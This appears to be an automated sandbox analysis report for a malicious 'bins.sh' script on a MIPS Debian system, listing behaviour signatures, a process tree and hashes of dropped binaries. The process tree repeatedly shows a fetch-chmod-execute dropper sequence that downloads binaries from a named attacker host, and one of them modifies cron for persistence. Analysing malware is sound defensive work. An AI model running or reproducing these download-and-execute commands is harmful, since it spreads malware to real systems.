Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    03/11/2024, 17:23

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241103-vx5d6azfpr
  • SHA256 b43d566e3b92604d5308641ed8e7a563afe3dfef89a192e06984f8d04eea767a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1707) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:742
        • /bin/chmod
          chmod 777 iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL
          ./iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:795
          • /bin/chmod
            chmod 777 wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg
            2⤵
            • File and Directory Permissions Modification
            PID:796
          • /tmp/wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg
            ./wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg
            2⤵
            • Executes dropped EXE
            PID:797
          • /bin/rm
            rm wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg
            2⤵
              PID:799
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:800
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:801
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:803
            • /bin/chmod
              chmod 777 RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U
              2⤵
              • File and Directory Permissions Modification
              PID:808
            • /tmp/RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U
              ./RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U
              2⤵
              • Executes dropped EXE
              PID:809
            • /bin/rm
              rm RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U
              2⤵
                PID:813
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:814
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:827
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:844
              • /bin/chmod
                chmod 777 kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f
                2⤵
                • File and Directory Permissions Modification
                PID:845
              • /tmp/kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f
                ./kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f
                2⤵
                • Executes dropped EXE
                PID:846
              • /bin/rm
                rm kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f
                2⤵
                  PID:848
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:849
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:850
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:852
                • /bin/chmod
                  chmod 777 ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU
                  2⤵
                  • File and Directory Permissions Modification
                  PID:853
                • /tmp/ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU
                  ./ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU
                  2⤵
                  • Executes dropped EXE
                  PID:854
                • /bin/rm
                  rm ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU
                  2⤵
                    PID:856
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:857
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:858
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:860
                  • /bin/chmod
                    chmod 777 T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP
                    2⤵
                    • File and Directory Permissions Modification
                    PID:861
                  • /tmp/T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP
                    ./T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:862
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:864
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:865
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:866
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:867
                        • /bin/rm
                          rm T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP
                          2⤵
                            PID:869
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq
                            2⤵
                            • System Network Configuration Discovery
                            PID:872
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq
                            2⤵
                            • System Network Configuration Discovery
                            PID:873
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:875
                          • /bin/chmod
                            chmod 777 JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq
                            2⤵
                            • File and Directory Permissions Modification
                            PID:956
                          • /tmp/JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq
                            ./JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq
                            2⤵
                            • Executes dropped EXE
                            PID:957
                          • /bin/rm
                            rm JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq
                            2⤵
                              PID:959
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/tb5Nx38cDG0vwT5PNYqhvY9GI0LliV5qrA
                              2⤵
                              • System Network Configuration Discovery
                              PID:960

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU

                                • Path /tmp/ItQXF2oyBscaeVHezk1uAEEkkxGBY4NirU
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP

                                JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq

                                • Path /tmp/JTdv12rjv44BDikAFBTElPu9F3aFVrbdqq
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP

                                RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U

                                • Path /tmp/RFjSXLDij53mxSFlqmD01wCYX7ihN8FJ7U
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP

                                T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP

                                • Path /tmp/T4e2MrLMTZ82I2neNTy8CH4TfAQTo6faYP
                                • Size 151KB
                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                • MD5 SHA1 SHA512 SSDEEP

                                iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL

                                • Path /tmp/iUQ4bpdvFtJDGaqyC5e8cnOBmTFNrdT8pL
                                • Size 177KB
                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                • MD5 SHA1 SHA512 SSDEEP

                                kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f

                                • Path /tmp/kymVAwQhQbzbqUPqB4rVoJD7G2R9V5YP6f
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP

                                wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg

                                • Path /tmp/wzUdyrs8mzBNV33JHtIsnQEOEav6uC4wpg
                                • Size 111KB
                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.UL4HXr

                                • Path /var/spool/cron/crontabs/tmp.UL4HXr
                                • Size 210B
                                • SHA256 e1283647de4efdf8fca9c13ca787a65f3c5727aa6a044df3fcaec64788b0ae97
                                • MD5 SHA1 SHA512